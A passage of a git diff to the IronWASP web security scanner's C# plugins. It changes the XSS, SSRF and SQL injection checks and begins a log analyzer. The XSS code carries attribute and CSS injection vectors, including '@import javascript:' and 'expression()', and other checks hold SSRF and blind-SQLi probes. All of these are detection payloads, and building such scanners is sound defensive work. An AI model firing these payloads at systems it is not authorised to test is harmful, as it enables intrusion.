"vtikr(1)"); + this.InjectAttribute(" olqpir=\'vtikr(1)\'", "olqpir", "vtikr(1)"); + this.InjectAttribute("aa olqpir=\"vtikr(1)\"", "olqpir", "vtikr(1)"); + this.InjectAttribute("aa olqpir=\'vtikr(1)\'", "olqpir", "vtikr(1)"); } - + void InjectAttribute(string Payload, string AttrName, string AttrValue) { //Start the test this.Scnr.RequestTrace(string.Format(" Injected {0} - ", Payload)); - + Response at_res = this.Scnr.Inject(Payload); string res_details = string.Format(" || Code - {0} | Length - {1}", at_res.Code, at_res.BodyLength); this.CheckResponseDetails(at_res); - + List name_contexts = this.GetContext(AttrName, at_res); List value_contexts = this.GetContext(AttrValue, at_res); - + if (name_contexts.Contains(ReflectionContext.AttributeName) && (value_contexts.Contains(ReflectionContext.AttributeValueWithSingleQuote) || value_contexts.Contains(ReflectionContext.AttributeValueWithDoubleQuote))) { this.Scnr.ResponseTrace(string.Format(">Got {0} as AttributeName and {1} as AttributeValue>{2}", AttrName, AttrValue, res_details)); this.AddToTriggers(Payload, string.Format("The payload in this request tries to inject an attribute with name '{0}' and value '{1}' inside an HTML tag. The payload is {2}", AttrName, AttrValue, Payload), Payload, string.Format("This response contains an attribute with name '{0}' and value '{1}' inside an HTML tag. This was inserted by the payload.", AttrName, AttrValue)); this.SetConfidence(3); } - else if(at_res.BodyString.Contains(Payload)) + else if (at_res.BodyString.Contains(Payload)) { this.Scnr.ResponseTrace(string.Format("Got {0} outside of AttributeName and AttributeValue context{1}", Payload, res_details)); } @@ -1029,28 +1036,28 @@ void InjectAttribute(string Payload, string AttrName, string AttrValue) { this.Scnr.ResponseTrace(string.Format("No useful reflection{0}", res_details)); } - + } - + void CheckForInjectionInCSSInsideStyleAttribute() { this.CheckForInjectionInCSS(true); } - + void CheckForInjectionInFullCSS() { this.CheckForInjectionInCSS(false); } - + void CheckForInjectionInCSS(bool InStyleAttribute) { List css_contexts = this.GetCssContexts(this.ProbeString, this.ProbeStringResponse); - foreach(string context in css_contexts) + foreach (string context in css_contexts) { this.CheckForInjectionInCSSContext(context, InStyleAttribute); } } - + List GetCssContexts(string keyword, Response res) { List css_contexts = new List(); @@ -1063,12 +1070,13 @@ List GetCssContexts(string keyword, Response res) { contaminated_css.Add(res.BodyString); } - foreach(string css in contaminated_css) + foreach (string css in contaminated_css) { try { css_contexts.AddRange(IronCss.GetContext(css, keyword)); - }catch{} + } + catch { } } //make the list unique @@ -1081,7 +1089,7 @@ List GetCssContexts(string keyword, Response res) return css_contexts; } - + void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) { string payload = ""; @@ -1089,20 +1097,20 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) List jsurl_special_payloads = new List(); List js_special_payloads = new List(); string quote = ""; - + string[] context_parts = css_context.Split('-'); - + //# //#CSS Value contexts //# - switch(context_parts[0]) + switch (context_parts[0]) { - case("Value"): + case ("Value"): quote = context_parts[3]; - switch(context_parts[1]) + switch (context_parts[1]) { - case("Normal"): - case("OnlyNormal"): + case ("Normal"): + case ("OnlyNormal"): payload = "aa;} aa {aa:aa"; jsurl_special_payloads.Add("aa; background-image: url(); aa:aa"); js_special_payloads.Add("aa; aa: expression(''); aa:aa"); @@ -1119,7 +1127,7 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) } } break; - case("JS"): + case ("JS"): //report as xss break; case ("Url"): @@ -1138,7 +1146,7 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) //# //#CSS Propery contexts //# - case("Property"): + case ("Property"): payload = "aa:aa} aa {aa"; if (context_parts[1] == "Start" || context_parts[1] == "Full") { @@ -1150,53 +1158,53 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) //# //#CSS Ident contexts //# - case("Ident"): - switch(context_parts[1]) + case ("Ident"): + switch (context_parts[1]) { - case("Ident"): + case ("Ident"): payload = "aa {x:x} @aa"; if (context_parts[2] == "Start" || context_parts[2] == "Full") { - url_special_payloads.Add("import ''; @a"); - url_special_payloads.Add("import \"\"; @a"); - jsurl_special_payloads.Add("import ''; @a"); - jsurl_special_payloads.Add("import \"\"; @a"); + url_special_payloads.Add("import ''; @a"); + url_special_payloads.Add("import \"\"; @a"); + jsurl_special_payloads.Add("import ''; @a"); + jsurl_special_payloads.Add("import \"\"; @a"); } break; - case("MediaValue"): + case ("MediaValue"): payload = "aa {x {x:x}} @media aa"; break; } - break; + break; //# //#CSS Import contexts //# - case("Import"): + case ("Import"): quote = context_parts[3]; - switch(context_parts[1]) + switch (context_parts[1]) { - case("Raw"): + case ("Raw"): payload = "aa; @import aa"; if (context_parts[2] == "Start" || context_parts[2] == "Full") { - url_special_payloads.Add(""); - jsurl_special_payloads.Add(""); - //#report as xss + url_special_payloads.Add(""); + jsurl_special_payloads.Add(""); + //#report as xss } break; - case("Url"): + case ("Url"): payload = "aa); @import url(aa"; if (context_parts[2] == "Start" || context_parts[2] == "Full") { - url_special_payloads.Add(""); - jsurl_special_payloads.Add(""); - //#report as xss + url_special_payloads.Add(""); + jsurl_special_payloads.Add(""); + //#report as xss } break; - case("RawJS"): + case ("RawJS"): //#report as xss break; - case("UrlJS"): + case ("UrlJS"): //#report as xss break; } @@ -1204,7 +1212,7 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) //# //#CSS Selector contexts //# - case("Selector"): + case ("Selector"): if (context_parts[1] == "Normal") { if (context_parts[2] == "Start" || context_parts[2] == "Full") @@ -1232,18 +1240,18 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) //# //#CSS Comment contexts //# - case("Comment"): + case ("Comment"): payload = "*/ /*"; break; } - + payload = this.InsertCssQuotes(quote, payload); - - List url_vectors = new List(){"@import '//iczpbtsq';", "@import \"//iczpbtsq\";", "@import url(//iczpbtsq);"}; + + List url_vectors = new List() { "@import '//iczpbtsq';", "@import \"//iczpbtsq\";", "@import url(//iczpbtsq);" }; List js_vectors = new List(){"@import 'javascript:\"iczpbtsq\"';", "@import \"javascript:'iczpbtsq'\";" , "@import url(javascript:'iczpbtsq');", "@import url(javascript:\"iczpbtsq\");", "x {x:expression('iczpbtsq')}", "x {x:expression(\"iczpbtsq\")}", "x {background-image:url(javascript:'iczpbtsq')}", "x {background-image:url(javascript:\"iczpbtsq\")}"}; - + //make the list unique Dictionary TempDict = new Dictionary(); foreach (string RC in url_special_payloads) @@ -1266,14 +1274,14 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) TempDict[RC] = 0; } js_special_payloads = new List(TempDict.Keys); - - - - foreach(string spl_payload in jsurl_special_payloads) + + + + foreach (string spl_payload in jsurl_special_payloads) { string current_payload = spl_payload.Replace("", "javascript:'iczpbtsq'"); current_payload = this.InsertCssQuotes(quote, current_payload); - + if (this.IsCssPayloadAllowed(InStyleAttribute, current_payload)) { this.InjectAndCheckCss(current_payload, "iczpbtsq", "js"); @@ -1286,8 +1294,8 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) this.InjectAndCheckCss(current_payload, "iczpbtsq", "js"); } } - - foreach(string spl_payload in js_special_payloads) + + foreach (string spl_payload in js_special_payloads) { string current_payload = spl_payload.Replace("", "iczpbtsq"); current_payload = this.InsertCssQuotes(quote, current_payload); @@ -1296,8 +1304,8 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) this.InjectAndCheckCss(current_payload, "iczpbtsq", "js"); } } - - foreach(string spl_payload in url_special_payloads) + + foreach (string spl_payload in url_special_payloads) { string current_payload = spl_payload.Replace("", "//iczpbtsq"); current_payload = this.InsertCssQuotes(quote, current_payload); @@ -1306,8 +1314,8 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) this.InjectAndCheckCss(current_payload, "//iczpbtsq", "url"); } } - - foreach(string vector in url_vectors) + + foreach (string vector in url_vectors) { string current_payload = payload.Replace("", vector); current_payload = this.InsertCssQuotes(quote, current_payload); @@ -1317,7 +1325,7 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) } } - foreach(string vector in js_vectors) + foreach (string vector in js_vectors) { string current_payload = payload.Replace("", vector); current_payload = this.InsertCssQuotes(quote, current_payload); @@ -1327,7 +1335,7 @@ void CheckForInjectionInCSSContext(string css_context, bool InStyleAttribute) } } } - + bool IsCssPayloadAllowed(bool InStyleAttribute, string payload) { if (payload.Contains("{") || payload.Contains("}")) @@ -1339,12 +1347,12 @@ bool IsCssPayloadAllowed(bool InStyleAttribute, string payload) } return true; } - + void InjectAndCheckCss(string payload, string keyword, string url_or_js) { this.Scnr.RequestTrace(string.Format("Injecting {0} - ", payload)); Response res = this.Scnr.Inject(payload); - + if (this.IsReqCssContext(res, keyword, url_or_js)) { this.Scnr.ResponseTrace(">XSS inside CSS successful!>"); @@ -1356,28 +1364,28 @@ void InjectAndCheckCss(string payload, string keyword, string url_or_js) this.Scnr.ResponseTrace("Not in interesting CSS context"); } } - + bool IsReqCssContext(Response res, string keyword, string url_or_js) { List contexts = this.GetCssContexts(keyword, res); - foreach(string context in contexts) + foreach (string context in contexts) { string[] context_parts = context.Split('-'); - + if (context_parts[0] == "Value") { if (context_parts[1] == "JS") { if (url_or_js == "js") { - return true; + return true; } } else if (context_parts[1] == "Url") { if (url_or_js == "url") { - return true; + return true; } } } @@ -1404,7 +1412,7 @@ bool IsReqCssContext(Response res, string keyword, string url_or_js) } return false; } - + string InsertCssQuotes(string quote, string payload) { if (quote == "Double") @@ -1413,11 +1421,11 @@ string InsertCssQuotes(string quote, string payload) } else if (quote == "Single") { - return payload.Replace("","'"); + return payload.Replace("", "'"); } else { - return payload.Replace("",""); + return payload.Replace("", ""); } } @@ -1425,26 +1433,27 @@ string InsertCssQuotes(string quote, string payload) List GetContext(string InjectedValue, Response Res) { List ContextsList = new List(); - if(Res.Headers.Has("Refresh")) + if (Res.Headers.Has("Refresh")) { try { string RefreshUrl = Tools.GetRefreshHeaderUrl(Res.Headers.Get("Refresh")); - if(RefreshUrl.Contains(InjectedValue)) + if (RefreshUrl.Contains(InjectedValue)) { ContextsList.Add(ReflectionContext.UrlAttribute); } - }catch{} + } + catch { } } - if(Res.IsHtml) + if (Res.IsHtml) { ContextsList.AddRange(Res.Html.GetContext(InjectedValue)); } - else if(Res.IsCss) + else if (Res.IsCss) { ContextsList.Add(ReflectionContext.CSS); } - else if(Res.IsJavaScript || Res.IsJson) + else if (Res.IsJavaScript || Res.IsJson) { ContextsList.Add(ReflectionContext.JS); } @@ -1462,7 +1471,7 @@ void ReportCSSTestLead() PR.Summary = string.Format("{0} Data injected in to this parameter is being reflected back as part of CSS. Manually check this for XSS.", this.GetFindingOpeningDesc("Reflection in to CSS")); PR.Triggers.Add(this.ProbeString, "The payload in this request is random string just to check where this value it is reflected back in the response.", this.ProbeStringRequest, this.ProbeString, "The injected payload is found inside the CSS section of this response.", this.ProbeStringResponse); PR.Type = FindingType.TestLead; - this.Scnr.AddFinding(PR); + this.Scnr.AddFinding(PR); } void ReportJSTestLead() @@ -1474,12 +1483,12 @@ void ReportJSTestLead() F.Type = FindingType.TestLead; this.Scnr.AddFinding(F); } - + void AddToTriggers(string RequestTrigger, string RequestTriggerDesc, string ResponseTrigger, string ResponseTriggerDesc) { this.AddToTriggers(RequestTrigger, RequestTriggerDesc, this.Scnr.InjectedRequest.GetClone(), ResponseTrigger, ResponseTriggerDesc, this.Scnr.InjectionResponse.GetClone()); } - + void AddToTriggersWithProbeStringInjection(string RequestTrigger, string RequestTriggerDesc, string ResponseTrigger, string ResponseTriggerDesc) { this.AddToTriggers(RequestTrigger, RequestTriggerDesc, this.ProbeStringRequest, ResponseTrigger, ResponseTriggerDesc, this.ProbeStringResponse); @@ -1504,7 +1513,7 @@ void SetConfidence(int NewConfidence) void CheckResponseDetails(Response res) { if (this.Scnr.InjectedSection == "URL" && this.ProbeStringResponse.Code == 404) - return; + return; if (this.ProbeStringResponse.Code != res.Code) { @@ -1512,18 +1521,18 @@ void CheckResponseDetails(Response res) } else if (this.ProbeStringResponse.BodyLength + res.BodyLength > 0) { - double diff_percent = (res.BodyLength * 1.0)/((this.ProbeStringResponse.BodyLength + res.BodyLength)* 1.0); - if(diff_percent > 0.6 || diff_percent < 0.4) + double diff_percent = (res.BodyLength * 1.0) / ((this.ProbeStringResponse.BodyLength + res.BodyLength) * 1.0); + if (diff_percent > 0.6 || diff_percent < 0.4) { this.Scnr.SetTraceTitle("Injection Response Length varies from baseline", 1); } } } - + void ReportInjectionInSpecialAttributes(string payload) { List all_tags_and_attrs = new List(); - for(int i=0; i < this.injectable_special_tags.Count; i++) + for (int i = 0; i < this.injectable_special_tags.Count; i++) { all_tags_and_attrs.Add(string.Format(" {0}) >{1}> attribute of >{2}> tag", i + 1, this.injectable_special_tags[i], this.injectable_special_attributes[i])); } @@ -1536,12 +1545,12 @@ void ReportInjectionInSpecialAttributes(string payload) this.Scnr.SetTraceTitle("Scriptless HTML Injection Found", 100); this.Scnr.AddFinding(PR); } - + void ReportCrossSiteCookieSetting(bool meta_csc, bool header_csc) { Finding PR = new Finding(this.Scnr.InjectedRequest.BaseUrl); PR.Title = "Cross-site Cookie Setting"; - + string context = ""; if (meta_csc && header_csc) { @@ -1562,7 +1571,7 @@ void ReportCrossSiteCookieSetting(bool meta_csc, bool header_csc) this.Scnr.SetTraceTitle("Cross-site Cookie Setting", 50); this.Scnr.AddFinding(PR); } - + void ReportCharsetNotSet() { Finding PR = new Finding(this.Scnr.InjectedRequest.BaseUrl); @@ -1592,7 +1601,7 @@ void ReportCharsetManipulation(List inj_req, List inj_res, Li Finding PR = new Finding(this.Scnr.InjectedRequest.BaseUrl); PR.Title = "Charset Manipulation Possible"; PR.Summary = string.Format("{0}>It is possible to set the charset of the response body to any desired encoding type.", this.GetFindingOpeningDesc("Charset Manipulation Possibility")); - for(int i=0; i < payloads.Count; i++) + for (int i = 0; i < payloads.Count; i++) { PR.Triggers.Add(payloads[i], string.Format("The payload in this request is the name of character encoding type - {0}", payloads[i]), inj_req[i], payloads[i], string.Format("The character encoding of this response is set as {0}. This is caused by the payload.", payloads[i]), inj_res[i]); } @@ -1601,16 +1610,16 @@ void ReportCharsetManipulation(List inj_req, List inj_res, Li this.Scnr.SetTraceTitle("Charset Manipulation", 50); this.Scnr.AddFinding(PR); } - + void ReportSameSiteScriptInclude(List scripts_vuln, List styles_vuln) { Finding PR = new Finding(this.Scnr.InjectedRequest.BaseUrl); List all_vuln = new List(); all_vuln.AddRange(scripts_vuln); all_vuln.AddRange(styles_vuln); - + string scope = ""; - + if (scripts_vuln.Count > 0 && styles_vuln.Count > 0) { scope = "JS and CSS"; @@ -1631,15 +1640,15 @@ void ReportSameSiteScriptInclude(List scripts_vuln, List styles_ this.Scnr.SetTraceTitle(string.Format("In-domain {0} Inclusion", scope), 50); this.Scnr.AddFinding(PR); } - + void AnalyseResults() { - if(this.RequestTriggers.Count > 0) + if (this.RequestTriggers.Count > 0) { Finding F = new Finding(this.Scnr.InjectedRequest.BaseUrl); F.Title = "Cross-site Scripting Detected"; F.Summary = this.GetFindingOpeningDesc("Cross-site Scripting"); - for(int i=0; i < this.RequestTriggers.Count; i++) + for (int i = 0; i < this.RequestTriggers.Count; i++) { F.Triggers.Add(this.RequestTriggers[i], this.RequestTriggerDescs[i], this.TriggerRequests[i], this.ResponseTriggers[i], this.ResponseTriggerDescs[i], this.TriggerResponses[i]); } diff --git a/IronWASP/ActivePlugins/ExpressionLanguageInjectionCheck.cs b/Iron/ActivePlugins/ExpressionLanguageInjectionCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/ExpressionLanguageInjectionCheck.cs rename to Iron/ActivePlugins/ExpressionLanguageInjectionCheck.cs diff --git a/IronWASP/ActivePlugins/HeaderInjectionCheck.cs b/Iron/ActivePlugins/HeaderInjectionCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/HeaderInjectionCheck.cs rename to Iron/ActivePlugins/HeaderInjectionCheck.cs diff --git a/IronWASP/ActivePlugins/LdapInjectionCheck.cs b/Iron/ActivePlugins/LdapInjectionCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/LdapInjectionCheck.cs rename to Iron/ActivePlugins/LdapInjectionCheck.cs diff --git a/IronWASP/ActivePlugins/LocalFileIncludeCheck.cs b/Iron/ActivePlugins/LocalFileIncludeCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/LocalFileIncludeCheck.cs rename to Iron/ActivePlugins/LocalFileIncludeCheck.cs diff --git a/IronWASP/ActivePlugins/OpenRedirectCheck.cs b/Iron/ActivePlugins/OpenRedirectCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/OpenRedirectCheck.cs rename to Iron/ActivePlugins/OpenRedirectCheck.cs diff --git a/IronWASP/ActivePlugins/RemoteFileIncludeCheck.cs b/Iron/ActivePlugins/RemoteFileIncludeCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/RemoteFileIncludeCheck.cs rename to Iron/ActivePlugins/RemoteFileIncludeCheck.cs diff --git a/IronWASP/ActivePlugins/ServerSideIncludesInjectionCheck.cs b/Iron/ActivePlugins/ServerSideIncludesInjectionCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/ServerSideIncludesInjectionCheck.cs rename to Iron/ActivePlugins/ServerSideIncludesInjectionCheck.cs diff --git a/IronWASP/ActivePlugins/ServerSideRequestForgeryCheck.cs b/Iron/ActivePlugins/ServerSideRequestForgeryCheck.cs similarity index 98% rename from IronWASP/ActivePlugins/ServerSideRequestForgeryCheck.cs rename to Iron/ActivePlugins/ServerSideRequestForgeryCheck.cs index 8eb5b4a..54a34d7 100644 --- a/IronWASP/ActivePlugins/ServerSideRequestForgeryCheck.cs +++ b/Iron/ActivePlugins/ServerSideRequestForgeryCheck.cs @@ -86,7 +86,7 @@ void CheckForSSRF() Request req_a = this.Scnr.InjectedRequest; this.Scnr.ResponseTrace(string.Format(" ==> Got Response. Code- {0}. Length- {1}", res_a.Code, res_a.BodyLength)); - string payload_a1 = string.Format("{0}localhost:1", p); + string payload_a1 = string.Format("{0}localhost:65533", p); this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", payload_a1)); Response res_a1 = this.Scnr.Inject(payload_a1); Request req_a1 = this.Scnr.InjectedRequest; @@ -98,7 +98,7 @@ void CheckForSSRF() Request req_b = this.Scnr.InjectedRequest; this.Scnr.ResponseTrace(string.Format(" ==> Got Response. Code- {0}. Length- {1}", res_b.Code, res_b.BodyLength)); - string payload_b1 = string.Format("{0}localhost:2", p); + string payload_b1 = string.Format("{0}localhost:65534", p); this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", payload_b1)); Response res_b1 = this.Scnr.Inject(payload_b1); Request req_b1 = this.Scnr.InjectedRequest; @@ -118,9 +118,9 @@ void CheckForSSRF() List responses = new List() { res_a, res_a1, res_b, res_b1 }; List request_trigger_descs = new List(); request_trigger_descs.Add(string.Format("This payload points to the invalid port 65555 on localhost. The payload is {0}", payload_a)); - request_trigger_descs.Add(string.Format("This payload points to the valid port 1 on localhost. The payload is {0}", payload_a1)); + request_trigger_descs.Add(string.Format("This payload points to the valid port 65533 on localhost. The payload is {0}", payload_a1)); request_trigger_descs.Add(string.Format("This payload points to the invalid port 66666 on localhost. The payload is {0}", payload_b)); - request_trigger_descs.Add(string.Format("This payload points to the valid port 2 on localhost. The payload is {0}", payload_b1)); + request_trigger_descs.Add(string.Format("This payload points to the valid port 65534 on localhost. The payload is {0}", payload_b1)); List response_trigger_descs = new List(); response_trigger_descs.Add("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger after the next."); response_trigger_descs.Add("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger after the next."); @@ -317,8 +317,8 @@ FindingReason GetDiffReason(List payloads, bool time, List time_del } Reason = Reason + ">Payloads A and C are similar in nature. They both refer to ports 65555 and 66666 on the server which are invalid ports."; - Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They both refer to ports 1 and 2 on the server which are valid ports."; - Reason = Reason + ">If the application is vulnerable to SSRF then it will try to connect to these ports and connections to invalid potrs with throw an exception of different type than the exception or error caused by connecting to the valid ports 1 and 2 which are most likely to be closed."; + Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They both refer to ports 65533 and 65534 on the server which are valid ports."; + Reason = Reason + ">If the application is vulnerable to SSRF then it will try to connect to these ports and connections to invalid ports with throw an exception of different type than the exception or error caused by connecting to the valid ports 65533 and 65534 which are most likely to be closed."; Reason = Reason + ">This would mean that the response for Payloads A & C must be similar to each other and different from responses for Payloads B&D. "; if (time) diff --git a/IronWASP/ActivePlugins/SqlInjectionCheck.cs b/Iron/ActivePlugins/SqlInjectionCheck.cs similarity index 93% rename from IronWASP/ActivePlugins/SqlInjectionCheck.cs rename to Iron/ActivePlugins/SqlInjectionCheck.cs index 1028e53..11bf5fa 100644 --- a/IronWASP/ActivePlugins/SqlInjectionCheck.cs +++ b/Iron/ActivePlugins/SqlInjectionCheck.cs @@ -313,8 +313,8 @@ int InjectBlindIntMath(int int_value) sub_val = val; } - int[] minus_left = new int[] { val + 1, val + 2, sub_val, sub_val + 1, val, val }; - string[] minus_right = new string[] { "1", "2", "5", "6", "a", "b" }; + int[] minus_left = new int[] { val + 101, val + 102, sub_val + 100, sub_val + 101, val, val }; + string[] minus_right = new string[] { "101", "102", "105", "106", "a", "b" }; string[] symbols = new string[] { "+", "-" }; string[] keys = new string[] { "a", "aa", "b", "bb", "c", "cc" }; @@ -402,10 +402,10 @@ int InjectBlindIntMath(int int_value) { first_relaxed_vuln = true; } - else - { - this.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded."); - } + } + else + { + this.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded."); } } else @@ -677,14 +677,22 @@ int InjectBlindStrConc(string str_value) if (first_strict_vuln && first_strict_signature == second_strict_signature) { - vuln = true; - confidence = confidence + 1; - this.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>"); - foreach (SimilarityCheckerGroup g in sc.StrictGroups) + this.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>"); + if (DoesSignaturesMatchInvalidStringConcCheck(str_value_first_part, quote, joiners, str_value_second_part, keys, new string[] { second_strict_signature, second_relaxed_signature })) { - if (g.Count == 1) + this.Scnr.Trace(" >Both valid and invalid string concatenation attempts provide the same type of Strict Grouping, so this is a false alarm.>"); + } + else + { + vuln = true; + confidence = confidence + 1; + this.Scnr.Trace(" >Strict Grouping did not work for invalid concatenation attempt, indicates that the grouping was because of successful injection.>"); + foreach (SimilarityCheckerGroup g in sc.StrictGroups) { - db = g.GetKeys()[0]; + if (g.Count == 1) + { + db = g.GetKeys()[0]; + } } } } @@ -695,14 +703,22 @@ int InjectBlindStrConc(string str_value) if (first_relaxed_vuln && first_relaxed_signature == second_relaxed_signature) { - vuln = true; - confidence = confidence + 1; - this.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>"); - foreach (SimilarityCheckerGroup g in sc.RelaxedGroups) + this.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>"); + if (DoesSignaturesMatchInvalidStringConcCheck(str_value_first_part, quote, joiners, str_value_second_part, keys, new string[] { second_strict_signature, second_relaxed_signature })) { - if (g.Count == 1) + this.Scnr.Trace(" >Both valid and invalid string concatenation attempts provide the same type of Relaxed Grouping, so this is a false alarm.>"); + } + else + { + vuln = true; + confidence = confidence + 1; + this.Scnr.Trace(" >Relaxed Grouping did not work for invalid concatenation attempt, indicates that the grouping was because of successful injection.>"); + foreach (SimilarityCheckerGroup g in sc.RelaxedGroups) { - db = g.GetKeys()[0]; + if (g.Count == 1) + { + db = g.GetKeys()[0]; + } } } } @@ -747,6 +763,38 @@ int InjectBlindStrConc(string str_value) return 0; } + bool DoesSignaturesMatchInvalidStringConcCheck(string str_value_first_part, string quote, string[] joiners, string str_value_second_part, string[] keys, string[] Signatures) + { + List payloads = new List(); + List requests = new List(); + List responses = new List(); + + SimilarityChecker sc = new SimilarityChecker(); + this.Scnr.Trace(">>Checking if the grouping occurs for invalid concatenation attempts. This is done to eliminate false positives.>"); + this.Scnr.Trace(string.Format("Removing one {0} from the two used in the valid concatenation attempt.", quote)); + for (int i = 0; i < 3; i++) + { + string payload = string.Format("{0}{1}{2}{3}", str_value_first_part, joiners[i], quote, str_value_second_part); + this.Scnr.RequestTrace(string.Format(" Request Key: '{0}' - Injecting {1}", keys[i], payload)); + Response res = this.Scnr.Inject(payload); + payloads.Add(payload); + requests.Add(this.Scnr.InjectedRequest.GetClone()); + responses.Add(res); + sc.Add(keys[i], res); + this.Scnr.ResponseTrace(string.Format(" ==> Code-{0} Length-{1}", res.Code, res.BodyLength)); + } + sc.Check(); + if (IsBlindStrConcInjectableGroupingCheck(sc.StrictGroups) && sc.StrictGroupsSignature == Signatures[0]) + { + return true; + } + if (IsBlindStrConcInjectableGroupingCheck(sc.RelaxedGroups) && sc.RelaxedGroupsSignature == Signatures[1]) + { + return true; + } + return false; + } + bool IsBlindStrConcInjectableGroupingCheck(List groups) { bool vuln = false; @@ -1099,7 +1147,7 @@ string TimePayloadGenerator(int TimeDelayInMilliSeconds, object OtherInfo) { SqlInjectionPayloadParts PayloadParts = (SqlInjectionPayloadParts)OtherInfo; - return PayloadParts.SqlCommand.Replace("__TIME__", (TimeDelayInMilliSeconds/1000).ToString()); + return PayloadParts.SqlCommand.Replace("__TIME__", (TimeDelayInMilliSeconds / 1000).ToString()); //string Cmd = TimeCommandGenerator(TimeDelayInMilliSeconds, PayloadParts); //return string.Format("{0}{1} {2}", PayloadParts.Prefix, PayloadParts.Seperator, Cmd); } @@ -1223,7 +1271,7 @@ FindingReason GetErrorReason(string payload, List errors, int Trigger) FindingReason GetBlindMathAddReason(List payloads, int first_sum, int second_sum, List first_group, List second_group, int Trigger) { - string Reason = "IronWASP sent six payload to the application with SQL code snippets in them.>"; + string Reason = "IronWASP sent six payloads to the application with SQL code snippets in them.>"; string[] ids = new string[] { "A", "B", "C", "D", "E", "F" }; @@ -1274,7 +1322,7 @@ FindingReason GetBlindMathAddReason(List payloads, int first_sum, int se FindingReason GetBlindMathSubtractReason(List payloads, int first_diff, int second_diff, List first_group, List second_group, int Trigger) { - string Reason = "IronWASP sent six payload to the application with SQL code snippets in them.>"; + string Reason = "IronWASP sent six payloads to the application with SQL code snippets in them.>"; string[] ids = new string[] { "A", "B", "C", "D", "E", "F" }; @@ -1372,7 +1420,7 @@ FindingReason GetBlindConcatReason(List payloads, string db, int Trigger //#Reason = Reason + "This indicates that the application was actually trying to perform the string concatenation on the server-side and that the backend database in use is MySQL. " Reason = Reason + string.Format("This indicates that the application was actually trying to perform the string concatenation on the server-side and that the backend database in use is >{0}>. ", db); //#Reason = Reason + "Since incase of MySQL Payloads A & B would have simply thrown an invalid SQL syntax exception their responses are similar. " - Reason = Reason + string.Format("Since incase of >{0}> database server Payloads {0} & {1} would have simply thrown an invalid SQL syntax exception their responses are similar. ", db, same[0], same[1]); + Reason = Reason + string.Format("Since incase of >{0}> database server Payloads {1} & {2} would have simply thrown an invalid SQL syntax exception their responses are similar. ", db, same[0], same[1]); //#Reason = Reason + "And Payload C would have executed without this error and so its response was different than the other two.>" Reason = Reason + string.Format("And Payload {0} would have executed without this error and so its response was different than the other two.>", diff); diff --git a/IronWASP/ActivePlugins/XpathInjectionCheck.cs b/Iron/ActivePlugins/XpathInjectionCheck.cs similarity index 100% rename from IronWASP/ActivePlugins/XpathInjectionCheck.cs rename to Iron/ActivePlugins/XpathInjectionCheck.cs diff --git a/Iron/Analysis/LogAnalyzer.cs b/Iron/Analysis/LogAnalyzer.cs new file mode 100644 index 0000000..53cc65e --- /dev/null +++ b/Iron/Analysis/LogAnalyzer.cs @@ -0,0 +1,629 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.Analysis +{ + public class LogAnalyzer + { + + Dictionary> LogsByUa = new Dictionary>(); + + List UninterestingAssociationTypes = new List() + { + LogAssociationType.ExternalCss, + LogAssociationType.ExternalImage, + LogAssociationType.ExternalScript + }; + + public Dictionary Analyze(int StartId, int EndId, string Source) + { + List LogIds = new List(); + for (int i = StartId; i <= EndId; i++) + { + LogIds.Add(i); + } + LoadLogs(LogIds, Source); + return MapLogs(); + } + + public Dictionary Analyze(List _LogIds, string Source) + { + LoadLogs(_LogIds, Source); + return MapLogs(); + } + + public LogAssociations AnalyzeSessionsFromSameUa(List Sessions) + { + Dictionary SessionsDict = new Dictionary(); + foreach (Session Sess in Sessions) + { + SessionsDict[Sess.LogId] = Sess; + } + List LogAssos = MapLogs(SessionsDict); + return new LogAssociations(LogAssos); + } + + void LoadLogs(List _LogIds, string Source) + { + LogsByUa.Clear(); + + List LoginLogs = new List(); + List LogoutLogs = new List(); + foreach (int i in _LogIds) + { + Session Sess = Session.FromLog(i, Source); + + string Ua = ""; + if (Sess.Request.Headers.Has("User-Agent")) Ua = Sess.Request.Headers.Get("User-Agent"); + if (!LogsByUa.ContainsKey(Ua)) LogsByUa[Ua] = new Dictionary(); + LogsByUa[Ua][Sess.LogId] = Sess; + } + } + + public Dictionary MapLogs() + { + Dictionary LogAssociationsByUa = new Dictionary(); + //StringBuilder SB = new StringBuilder(); + foreach (string Ua in LogsByUa.Keys) + { + List Associations = MapLogs(LogsByUa[Ua]); + LogAssociationsByUa[Ua] = new LogAssociations(Associations); + //SB.Append("Associations for: "); SB.AppendLine(Ua); + //SB.AppendLine("----------------------"); + //foreach (LogAssociation Asso in Associations) + //{ + // SB.AppendLine(Asso.ToString()); + //} + //SB.AppendLine("----------------------"); + } + //return SB.ToString(); + return LogAssociationsByUa; + } + + List MapLogs(Dictionary Sessions) + { + List Associations = new List(); + + Dictionary> 